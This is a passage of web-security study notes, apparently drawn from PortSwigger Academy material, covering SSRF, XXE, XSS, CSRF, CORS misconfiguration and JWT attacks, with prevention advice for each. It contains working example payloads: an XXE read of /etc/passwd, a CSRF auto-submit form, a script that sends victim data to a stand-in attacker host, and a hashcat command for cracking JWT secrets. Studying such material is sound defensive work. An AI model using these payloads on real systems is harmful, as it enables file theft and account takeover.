- You can leverage the DNS naming hierarchy to place required input into a fully-qualified DNS name that you control. For example:

  https://expected-host.evil-host

- You can URL-encode characters to confuse the URL-parsing code. This is particularly useful if the code that implements the filter handles URL-encoded characters differently than the code that performs the back-end HTTP request. You can also try double-encoding

characters; some servers recursively URL-decode the input they receive, which can lead to further discrepancies.

- You can use combinations of these techniques together.

Bypassing SSRF filters via open redirection

It is sometimes possible to bypass filter-based defenses by exploiting an open redirection vulnerability.

In the previous example, imagine the user-submitted URL is strictly validated to prevent malicious exploitation of the SSRF behavior. However, the application whose URLs are allowed contains an open redirection vulnerability. Provided the API used to make the back-end HTTP request supports redirections, you can construct a URL that satisfies the filter and results in a redirected request to the desired back-end target.

Blind SSRF vulnerabilities

Blind SSRF vulnerabilities occur if you can cause an application to issue a back-end HTTP request to a supplied URL, but the response from the back-end request is not returned in the application's front-end response.

How to find and exploit blind SSRF vulnerabilities

The most reliable way to detect blind SSRF vulnerabilities is using out-of-band (OAST) techniques. This involves attempting to trigger an HTTP request to an external system that you control, and monitoring for network interactions with that system.

Finding hidden attack surface for SSRF vulnerabilities

Partial URLs in requests

Sometimes, an application places only a hostname or part of a URL path into request parameters. The value submitted is then incorporated server-side into a full URL that is requested. If the value is readily recognized as a hostname or URL path, the potential attack surface might be obvious. However, exploitability as full SSRF might be limited because you do not control the entire URL that gets requested.

URLs within data formats

Some applications transmit data in formats with a specification that allows the inclusion of URLs that might get requested by the data parser for the format.

SSRF via the Referer header

Some applications use server-side analytics software to tracks visitors. This software often logs the Referer header in requests, so it can track incoming links. Often the analytics software visits any third-party URLs that appear in the Referer header. This is typically done to analyze the contents of referring sites, including the anchor text that is used in the incoming links. As a result, the Referer header is often a useful attack surface for SSRF vulnerabilities.

10. XML external entity (XXE) injection

A web security vulnerability that allows an attacker to interfere with an application's processing of XML data. It often allows an attacker to view files on the application server filesystem, and to interact with any back-end or external systems that the application itself can access.

In some situations, an attacker can escalate an XXE attack to compromise the underlying server or other back-end infrastructure, by leveraging the XXE vulnerability to perform server-side request forgery (SSRF) attacks.

How do XXE vulnerabilities arise?

Some applications use the XML format to transmit data between the browser and the server. Applications that do this virtually always use a standard library or platform API to process the XML data on the server. XXE vulnerabilities arise because the XML specification contains various potentially dangerous features, and standard parsers support these features even if they are not normally used by the application.

What are the types of XXE attacks?

Exploiting XXE to retrieve files

where an external entity is defined containing the contents of a file, and returned in the application's response.

- Introduce (or edit) a DOCTYPE element that defines an external entity containing the path to the file.
- Edit a data value in the XML that is returned in the application's response, to make use of the defined external entity.

For example, suppose a shopping application checks for the stock level of a product by submitting the following XML to the server:

<?xml version="1.0" encoding="UTF-8"?> <stockCheck><productId>381</productId></stockCheck>

The application performs no particular defenses against XXE attacks, so you can exploit the XXE vulnerability to retrieve the /etc/passwd file by submitting the following XXE payload:

<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]> <stockCheck><productId>&xxe;</productId></stockCheck>

This XXE payload defines an external entity &xxe; whose value is the contents of the /etc/passwd file and uses the entity within the productId value. This causes the application's response to include the contents of the file:

Invalid product ID: root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin ...

Exploiting XXE to perform SSRF attacks

where an external entity is defined based on a URL to a back-end system.

To exploit an XXE vulnerability to perform an SSRF attack, you need to define an external XML entity using the URL that you want to target, and use the defined entity within a data value. If you can use the defined entity within a data value that is returned in the application's response, then you will be able to view the response from the URL within the application's response, and so gain two-way interaction with the back-end system. If not, then you will only be able to perform blind SSRF attacks (which can still have critical consequences).

In the following XXE example, the external entity will cause the server to make a back-end HTTP request to an internal system within the organization's infrastructure:

<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://internal.vulnerable-website.com/">]>

Finding hidden attack surface for XXE injection

XInclude attacks

XInclude is a part of the XML specification that allows an XML document to be built from sub-documents. You can place an XInclude attack within any data value in an XML document, so the attack can be performed in situations where you only control a single item of data that is placed into a server-side XML document.

To perform an XInclude attack, you need to reference the XInclude namespace and provide the path to the file that you wish to include. For example:

<foo xmlns:xi="http://www.w3.org/2001/XInclude"> <xi:include parse="text" href="file:///etc/passwd"/></foo>

XXE attacks via file upload

Some applications allow users to upload files which are then processed server-side. Some common file formats use XML or contain XML subcomponents. Examples of XML-based formats are office document formats like DOCX and image formats like SVG.

XXE attacks via modified content type

For example, if a normal request contains the following:

POST /action HTTP/1.0 Content-Type: application/x-www-form-urlencoded Content-Length: 7 foo=bar

Then you might be able submit the following request, with the same result:

POST /action HTTP/1.0 Content-Type: text/xml Content-Length: 52 <?xml version="1.0" encoding="UTF-8"?><foo>bar</foo>

If the application tolerates requests containing XML in the message body, and parses the body content as XML, then you can reach the hidden XXE attack surface simply by reformatting requests to use the XML format.

Manually testing for XXE vulnerabilities generally involves:

- Testing for file retrieval by defining an external entity based on a well-known operating system file and using that entity in data that is returned in the application's response.

- Testing for blind XXE vulnerabilities by defining an external entity based on a URL to a system that you control, and monitoring for interactions with that system. Burp Collaborator is perfect for this purpose.
- Testing for vulnerable inclusion of user-supplied non-XML data within a server-side XML document by using an XInclude attack to try to retrieve a well-known operating system file.

How to prevent XXE vulnerabilities

Virtually all XXE vulnerabilities arise because the application's XML parsing library supports potentially dangerous XML features that the application does not need or intend to use. The easiest and most effective way to prevent XXE attacks is to disable those features.

Generally, it is sufficient to disable resolution of external entities and disable support for XInclude. This can usually be done via configuration options or by programmatically overriding default behavior.

Client-Side Topics
11. Cross-site scripting

What is cross-site scripting (XSS)?

Cross-site scripting (also known as XSS) is a web security vulnerability that allows an attacker to compromise the interactions that users have with a vulnerable application. It allows an attacker to circumvent the same origin policy, which is designed to segregate different websites from each other. Cross-site scripting vulnerabilities normally allow an attacker to masquerade as a victim user, to carry out any actions that the user is able to perform, and to access any of the user's data.

How does XSS work?

Cross-site scripting works by manipulating a vulnerable web site so that it returns malicious JavaScript to users. When the malicious code executes inside a victim's browser, the attacker can fully compromise their interaction with the application.

XSS proof of concept

You can confirm most kinds of XSS vulnerability by injecting a payload that causes your own browser to execute some arbitrary JavaScript. It's long been common practice to use the `alert()` function for this purpose because it's short, harmless, and pretty hard to miss when it's successfully called.

What are the types of XSS attacks?

There are three main types of XSS attacks. These are:

- Reflected XSS, where the malicious script comes from the current HTTP request.
- Stored XSS, where the malicious script comes from the website's database.
- DOM-based XSS, where the vulnerability exists in client-side code rather than server-side code.

Reflected cross-site scripting

Reflected XSS is the simplest variety of cross-site scripting. It arises when an application receives data in an HTTP request and includes that data within the immediate response in an unsafe way.

Here is a simple example of a reflected XSS vulnerability:

```
https://insecure-website.com/status?message=All+is+well. <p>Status: All is well.</p>
```

The application doesn't perform any other processing of the data, so an attacker can easily construct an attack like this:

```
https://insecure-website.com/status?message=<script>/*+Bad+stuff+here...+*/</script>
<p>Status: <script>/* Bad stuff here... */</script></p>
```

If the user visits the URL constructed by the attacker, then the attacker's script executes in the user's browser, in the context of that user's session with the application. At that point, the script can carry out any action, and retrieve any data, to which the user has access.

Stored cross-site scripting

Stored XSS (also known as persistent or second-order XSS) arises when an application receives data from an untrusted source and includes that data within its later HTTP responses in an unsafe way.

The data in question might be submitted to the application via HTTP requests; for example, comments on a blog post, user nicknames in a chat room, or contact details on a customer order.

Here is a simple example of a stored XSS vulnerability. A message board application lets users submit messages, which are displayed to other users:

```
<p>Hello, this is my message!</p>
```

The application doesn't perform any other processing of the data, so an attacker can easily send a message that attacks other users:

```
<p><script>/* Bad stuff here... */</script></p>
```

XSS Cheatsheet

https://portswigger.net/web-security/cross-site-scripting/cheat-sheet

DOM-based cross-site scripting

DOM-based XSS (also known as DOM XSS) arises when an application contains some client-side

JavaScript that processes data from an untrusted source in an unsafe way, usually by writing the data back to the DOM.

In the following example, an application uses some JavaScript to read the value from an input field and write that value to an element within the HTML:

```
var search = document.getElementById('search').value; var results =
document.getElementById('results'); results.innerHTML = 'You searched for: '
+ search;
```

If the attacker can control the value of the input field, they can easily construct a malicious value that causes their own script to execute:

```
You searched for: <img src=1 onerror='/* Bad stuff here... */'>
```

In a typical case, the input field would be populated from part of the HTTP request, such as a URL query string parameter, allowing the attacker to deliver an attack using a malicious URL, in the same manner as reflected XSS.

What can XSS be used for?

An attacker who exploits a cross-site scripting vulnerability is typically able to:

- Impersonate or masquerade as the victim user.
- Carry out any action that the user is able to perform.
- Read any data that the user is able to access.
- Capture the user's login credentials.
- Perform virtual defacement of the web site.
- Inject trojan functionality into the web site.

Impact of XSS vulnerabilities

The actual impact of an XSS attack generally depends on the nature of the application, its functionality and data, and the status of the compromised user. For example:

- In a brochureware application, where all users are anonymous and all information is public, the impact will often be minimal.
- In an application holding sensitive data, such as banking transactions, emails, or healthcare records, the impact will usually be serious.
- If the compromised user has elevated privileges within the application, then the impact will generally be critical, allowing the attacker to take full control of the vulnerable application and compromise all users and their data.

How to find and test for XSS vulnerabilities

The vast majority of XSS vulnerabilities can be found quickly and reliably using Burp Suite's web vulnerability scanner.

Manually testing for reflected and stored XSS normally involves submitting some simple unique input (such as a short alphanumeric string) into every entry point in the application, identifying every location where the submitted input is returned in HTTP responses, and testing each location individually to determine whether suitably crafted input can be used to execute arbitrary JavaScript.

Manually testing for DOM-based XSS arising from URL parameters involves a similar process: placing some simple unique input in the parameter, using the browser's developer tools to search the DOM for this input, and testing each location to determine whether it is exploitable.

Dangling markup injection

Dangling markup injection is a technique that can be used to capture data cross-domain in situations where a full cross-site scripting exploit is not possible, due to input filters or other defenses.

Suppose an application embeds attacker-controllable data into its responses in an unsafe way:

```
<input type="text" name="input" value="CONTROLLABLE DATA HERE
```

Suppose also that the application does not filter or escape the `>` or `"` characters. An attacker can use the following syntax to break out of the quoted attribute value and the enclosing tag, and return to an HTML context:

```
">
```

In this situation, an attacker would naturally attempt to perform XSS. But suppose that a regular XSS attack is not possible, due to input filters, content security policy, or other obstacles. Here, it might still be possible to deliver a dangling markup injection attack using a payload like the following:

```
"><img src='//attacker-website.com?
```

This payload creates an `img` tag and defines the start of a `src` attribute containing a URL on the attacker's server. Note that the attacker's payload doesn't close the `src` attribute, which is left "dangling". When a browser parses the response, it will look ahead until it encounters a single quotation mark to terminate the attribute. Everything up until that character will be treated as being part of the URL and will be sent to the attacker's server within the URL query string. Any non-alphanumeric characters, including newlines, will be URL-encoded.

How to prevent XSS attacks

Preventing cross-site scripting is trivial in some cases but can be much harder depending on the complexity of the application and the ways it handles user-controllable data.

In general, effectively preventing XSS vulnerabilities is likely to involve a combination of the following measures:

- **Filter input on arrival.** At the point where user input is received, filter as strictly as possible based on what is expected or valid input.
- **Encode data on output.** At the point where user-controllable data is output in HTTP responses, encode the output to prevent it from being interpreted as active content. Depending on the output context, this might require applying combinations of HTML, URL, JavaScript, and CSS encoding.
- **Use appropriate response headers.** To prevent XSS in HTTP responses that aren't intended to contain any HTML or JavaScript, you can use the `Content-Type` and `X-Content-Type-Options` headers to ensure that browsers interpret the responses in the way you intend.
- **Content Security Policy.** As a last line of defense, you can use Content Security Policy (CSP) to reduce the severity of any XSS vulnerabilities that still occur. Content security

policy (CSP) is a browser mechanism that aims to mitigate the impact of cross-site scripting and some other vulnerabilities.

12. Cross-site request forgery (CSRF)

What is CSRF?

Cross-site request forgery (also known as CSRF) is a web security vulnerability that allows an attacker to induce users to perform actions that they do not intend to perform

What is the impact of a CSRF attack?

In a successful CSRF attack, the attacker causes the victim user to carry out an action unintentionally. For example, this might be to change the email address on their account, to change their password, or to make a funds transfer.

How does CSRF work?

For a CSRF attack to be possible, three key conditions must be in place:

- **A relevant action.** There is an action within the application that the attacker has a reason to induce. This might be a privileged action (such as modifying permissions for other users) or any action on user-specific data (such as changing the user's own password).
- **Cookie-based session handling.** Performing the action involves issuing one or more HTTP requests, and the application relies solely on session cookies to identify the user who has made the requests. There is no other mechanism in place for tracking sessions or validating user requests.
- **No unpredictable request parameters.** The requests that perform the action do not contain any parameters whose values the attacker cannot determine or guess. For example, when causing a user to change their password, the function is not vulnerable if an attacker needs to know the value of the existing password.

- vulnerable if an attacker needs to know the value of the existing password.

For example, suppose an application contains a function that lets the user change the email address on their account. When a user performs this action, they make an HTTP request like the following:

```
POST /email/change HTTP/1.1 Host: vulnerable-website.com Content-Type:
application/x-www-form-urlencoded Content-Length: 30 Cookie:
session=yvthwsztyeQkAPzeQ5gHgTvlyxHfsAfE email=wiener@normal-user.com
```

This meets the conditions required for CSRF:

- The action of changing the email address on a user's account is of interest to an attacker. Following this action, the attacker will typically be able to trigger a password reset and take full control of the user's account.
- The application uses a session cookie to identify which user issued the request. There are no other tokens or mechanisms in place to track user sessions.
- The attacker can easily determine the values of the request parameters that are needed to perform the action.

With these conditions in place, the attacker can construct a web page containing the following HTML:

```
<html> <body> <form action="https://vulnerable-website.com/email/change"
method="POST"> <input type="hidden" name="email" value="pwned@evil-user.net"
/> </form> <script> document.forms[0].submit(); </script> </body> </html>
```

If a victim user visits the attacker's web page, the following will happen:

- The attacker's page will trigger an HTTP request to the vulnerable website.
- If the user is logged in to the vulnerable website, their browser will automatically include their session cookie in the request (assuming SameSite cookies are not being used).
- The vulnerable website will process the request in the normal way, treat it as having been made by the victim user, and change their email address.

How to deliver a CSRF exploit

The delivery mechanisms for cross-site request forgery attacks are essentially the same as for reflected XSS. Typically, the attacker will place the malicious HTML onto a website that they control, and then induce victims to visit that website.

Common defences against CSRF

- **SRF tokens** - A CSRF token is a unique, secret, and unpredictable value that is generated by the server-side application and shared with the client. When attempting to perform a sensitive action, such as submitting a form, the client must include the correct CSRF token in the request. This makes it very difficult for an attacker to construct a valid request on behalf of the victim.

- **SameSite cookies** - SameSite is a browser security mechanism that determines when a website's cookies are included in requests originating from other websites. As requests to perform sensitive actions typically require an authenticated session cookie, the appropriate SameSite restrictions may prevent an attacker from triggering these actions cross-site. Since 2021, Chrome enforces `Lax` SameSite restrictions by default. As this is the proposed standard, we expect other major browsers to adopt this behavior in future.

- **Referer-based validation** - Some applications make use of the HTTP Referer header to attempt to defend against CSRF attacks, normally by verifying that the request originated from the application's own domain. This is generally less effective than CSRF token validation.

13. Cross-origin resource sharing (CORS)

What is CORS (cross-origin resource sharing)?

Cross-origin resource sharing (CORS) is a browser mechanism which enables controlled access to resources located outside of a given domain.

Same-origin policy

The same-origin policy is a restrictive cross-origin specification that limits the ability for a website to interact with resources outside of the source domain. The same-origin policy was defined many years ago in response to potentially malicious cross-domain interactions, such as one website stealing private data from another. It generally allows a domain to issue requests to other domains, but not to access the responses.

Relaxation of the same-origin policy

The same-origin policy is very restrictive and consequently various approaches have been devised to circumvent the constraints. Many websites interact with subdomains or third-party sites in a way that requires full cross-origin access. A controlled relaxation of the same-origin policy is possible using cross-origin resource sharing (CORS).

The cross-origin resource sharing protocol uses a suite of HTTP headers that define trusted web origins

and associated properties such as whether authenticated access is permitted. These are combined in a header exchange between a browser and the cross-origin web site that it is trying to access.

What is the Access-Control-Allow-Origin response header?

The `Access-Control-Allow-Origin` header is included in the response from one website to a request originating from another website, and identifies the permitted origin of the request. A web browser compares the Access-Control-Allow-Origin with the requesting website's origin and permits access to the response if they match.

For example, suppose a website with origin `normal-website.com` causes the following cross-domain request:

```
GET /data HTTP/1.1 Host: robust-website.com Origin : https://normal-website.com
```

The server on `robust-website.com` returns the following response:

```
HTTP/1.1 200 OK ... Access-Control-Allow-Origin: https://normal-website.com
```

Handling cross-origin resource requests with credentials

The default behavior of cross-origin resource requests is for requests to be passed without credentials like cookies and the Authorization header. However, the cross-domain server can permit reading of the response when credentials are passed to it by setting the CORS `Access-Control-Allow-Credentials` header to true. Now if the requesting website uses JavaScript to declare that it is sending cookies with the request:

```
GET /data HTTP/1.1 Host: robust-website.com ... Origin: https://normal-website.com Cookie: JSESSIONID=<value>
```

And the response to the request is:

```
HTTP/1.1 200 OK ... Access-Control-Allow-Origin: https://normal-website.com
Access-Control-Allow-Credentials: true
```

Then the browser will permit the requesting website to read the response, because the `Access-Control-Allow-Credentials` response header is set to `true`. Otherwise, the browser will not allow access to the response.

Vulnerabilities arising from CORS configuration issues

Server-generated ACAO header from client-specified Origin header

For example, consider an application that receives the following request:

```
GET /sensitive-victim-data HTTP/1.1 Host: vulnerable-website.com Origin: https://malicious-website.com Cookie: sessionid=...
```

It then responds with:

```
HTTP/1.1 200 OK Access-Control-Allow-Origin: https://malicious-website.com
Access-Control-Allow-Credentials: true ...
```

These headers state that access is allowed from the requesting domain (`malicious-website.com`) and that the cross-origin requests can include cookies (`Access-Control-Allow-Credentials: true`) and so will be processed in-session.

Because the application reflects arbitrary origins in the `Access-Control-Allow-Origin` header, this means that absolutely any domain can access resources from the vulnerable domain.

If the response contains any sensitive information such as an API key or CSRF token, you could retrieve this by placing the following script on your website:

```
var req = new XMLHttpRequest(); req.onload = reqListener;
req.open('get','https://vulnerable-website.com/sensitive-victim-data',true);
req.withCredentials = true; req.send(); function reqListener() {
location='//malicious-website.com/log?key='+this.responseText; };
```

Errors parsing Origin headers

Some applications that support access from multiple origins do so by using a whitelist of allowed origins.

For example, suppose an application grants access to all domains ending in:

```
normal-website.com
```

An attacker might be able to gain access by registering the domain:

```
hackersnormal-website.com
```

Alternatively, suppose an application grants access to all domains beginning with

```
normal-website.com
```

An attacker might be able to gain access using the domain:

```
normal-website.com.evil-user.net
```

How to prevent CORS-based attacks

CORS vulnerabilities arise primarily as misconfigurations. Prevention is therefore a configuration problem. The following sections describe some effective defenses against CORS attacks.

Proper configuration of cross-origin requests

If a web resource contains sensitive information, the origin should be properly specified in the `Access-Control-Allow-Origin` header.

Only allow trusted sites

It may seem obvious but origins specified in the `Access-Control-Allow-Origin` header should only be sites that are trusted. In particular, dynamically reflecting origins from cross-origin requests without validation is readily exploitable and should be avoided.

Avoid whitelisting null

Avoid using the header `Access-Control-Allow-Origin: null`. Cross-origin resource calls from internal documents and sandboxed requests can specify the `null` origin. CORS headers should be properly defined in respect of trusted origins for private and public servers.

14 . JWT attacks

What are JWTs?

JSON web tokens (JWTs) are a standardized format for sending cryptographically signed JSON data between systems. They can theoretically contain any kind of data, but are most commonly used to send information ("claims") about users as part of authentication, session handling, and access control mechanisms.

JWT format

A JWT consists of 3 parts: a header, a payload, and a signature. These are each separated by a dot.

JWT signature

The server that issues the token typically generates the signature by hashing the header and payload. In some cases, they also encrypt the resulting hash. Either way, this process involves a secret signing key. This mechanism provides a way for servers to verify that none of the data within the token has been tampered with since it was issued:

- As the signature is directly derived from the rest of the token, changing a single byte of the header or payload results in a mismatched signature.
- Without knowing the server's secret signing key, it shouldn't be possible to generate the correct signature for a given header or payload.

What are JWT attacks?

JWT attacks involve a user sending modified JWTs to the server in order to achieve a malicious goal. Typically, this goal is to bypass authentication and access controls by impersonating another user who has already been authenticated.

What is the impact of JWT attacks?

The impact of JWT attacks is usually severe. If an attacker is able to create their own valid tokens with arbitrary values, they may be able to escalate their own privileges or impersonate other users, taking full control of their accounts.

Exploiting flawed JWT signature verification

By design, servers don't usually store any information about the JWTs that they issue. Instead, each token is an entirely self-contained entity. This has several advantages, but also introduces a fundamental problem - the server doesn't actually know anything about the original contents of the token, or even what the original signature was. Therefore, if the server doesn't verify the signature properly, there's nothing to stop an attacker from making arbitrary changes to the rest of the token.

For example, consider a JWT containing the following claims:

```
{ "username": "carlos", "isAdmin": false }
```

If the server identifies the session based on this `username`, modifying its value might enable an attacker to impersonate other logged-in users. Similarly, if the `isAdmin` value is used for access control, this could provide a simple vector for privilege escalation.

Accepting tokens with no signature

Among other things, the JWT header contains an `alg` parameter. This tells the server which algorithm was used to sign the token and, therefore, which algorithm it needs to use when verifying the signature.

```
{ "alg": "HS256", "typ": "JWT" }
```

This is inherently flawed because the server has no option but to implicitly trust user-controllable input from the token which, at this point, hasn't been verified at all. In other words, an attacker can directly influence how the server checks whether the token is trustworthy.

Brute-forcing secret keys

Brute-forcing secret keys using hashcat

You just need a valid, signed JWT from the target server and a wordlist of well-known secrets. You can then run the following command, passing in the JWT and wordlist as arguments:

```
hashcat -a 0 -m 16500 <jwt> <wordlist>
```

Hashcat signs the header and payload from the JWT using each secret in the wordlist, then compares the resulting signature with the original one from the server. If any of the signatures match, hashcat outputs the identified secret in the following format, along with various other details:

```
<jwt>:<identified-secret>
```

JWT header parameter injections

According to the JWS specification, only the `alg` header parameter is mandatory. In practice, however, JWT headers (also known as JOSE headers) often contain several other parameters. The following ones are of particular interest to attackers.

- `jwk` (JSON Web Key) - Provides an embedded JSON object representing the key.
- `jku` (JSON Web Key Set URL) - Provides a URL from which servers can fetch a set of keys containing the correct key.
- `kid` (Key ID) - Provides an ID that servers can use to identify the correct key in cases where there are multiple keys to choose from. Depending on the format of the key, this may have a matching `kid` parameter.

How to prevent JWT attacks

You can protect your own websites against many of the attacks we've covered by taking the following high-level measures:

- Use an up-to-date library for handling JWTs and make sure your developers fully understand how it works, along with any security implications. Modern libraries make it more difficult for you to inadvertently implement them insecurely, but this isn't foolproof due to the inherent flexibility of the related specifications.
- Make sure that you perform robust signature verification on any JWTs that you receive, and account for edge-cases such as JWTs signed using unexpected algorithms.
- Enforce a strict whitelist of permitted hosts for the `jku` header.
- Make sure that you're not vulnerable to path traversal or SQL injection via the `kid` header parameter.